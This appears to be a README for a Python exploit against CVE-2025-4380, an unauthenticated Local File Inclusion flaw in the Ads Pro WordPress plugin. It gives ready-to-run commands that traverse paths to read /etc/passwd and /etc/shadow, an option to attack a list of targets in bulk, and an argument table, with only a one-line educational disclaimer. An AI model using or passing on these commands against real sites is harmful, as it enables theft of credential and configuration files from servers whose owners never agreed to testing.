
This Python exploit targets Ads Pro Plugin ≤ 4.89 for WordPress, vulnerable to Local File Inclusion (LFI) via the bsa_preview_callback AJAX action.
An unauthenticated attacker can exploit this to read arbitrary files from the server filesystem, including sensitive files such as /etc/passwd, wp-config.php, and more.
python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd
python3 cve_2025_4380.py -l targets.txt -p ../../../../etc/shadow
python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd -o output.txt
python3 cve_2025_4380.py -u http://target.com -p ../../../../etc/passwd --proxy http://127.0.0.1:8080
Burpsuite Request/Response
CVE-2025-4380
Ads Pro Plugin <= 4.89 - Local File Inclusion via bsa_template in bsa_preview_callback
This exploit is provided for educational purposes and authorized security testing only.
| Argument | Description | Required |
|---|
-u, --url | Target URL (e.g., http://target.com) | Optional |
-l, --list | File with list of target URLs | Optional |
-p, --path | File path to include (e.g., ../../etc/passwd) | Yes |
-o, --output | Output file to save results | Optional |
--proxy | Proxy (e.g., http://127.0.0.1:8080) | Optional |